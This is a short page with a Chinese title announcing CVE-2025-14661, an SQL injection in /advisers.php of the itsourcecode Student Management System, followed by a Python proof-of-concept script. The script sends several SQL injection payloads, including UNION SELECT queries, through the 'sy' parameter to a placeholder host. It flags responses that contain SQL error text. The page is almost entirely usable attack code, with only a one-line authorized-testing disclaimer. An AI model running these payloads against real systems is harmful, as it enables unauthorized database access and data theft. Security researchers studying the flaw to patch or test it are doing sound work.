CVE-2025-14661 itsourcecode学生管理系统/advisers.php SQL注入漏洞

import requests # CVE-2025-14661 PoC - SQL Injection in /advisers.php # Target: itsourcecode Student Management System 1.0 # Parameter: sy target_url = "http://target.com/advisers.php" # Basic SQL Injection payload to test vulnerability payloads = [ "1'", "1' OR '1'='1", "1' UNION SELECT NULL--", "1' UNION SELECT version()--" ] for payload in payloads: params = { 'sy': payload } try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages or abnormal behavior if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential vulnerability found with payload: {payload}") print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This is a basic detection PoC. Modify payloads based on target environment. # For authorized security testing only.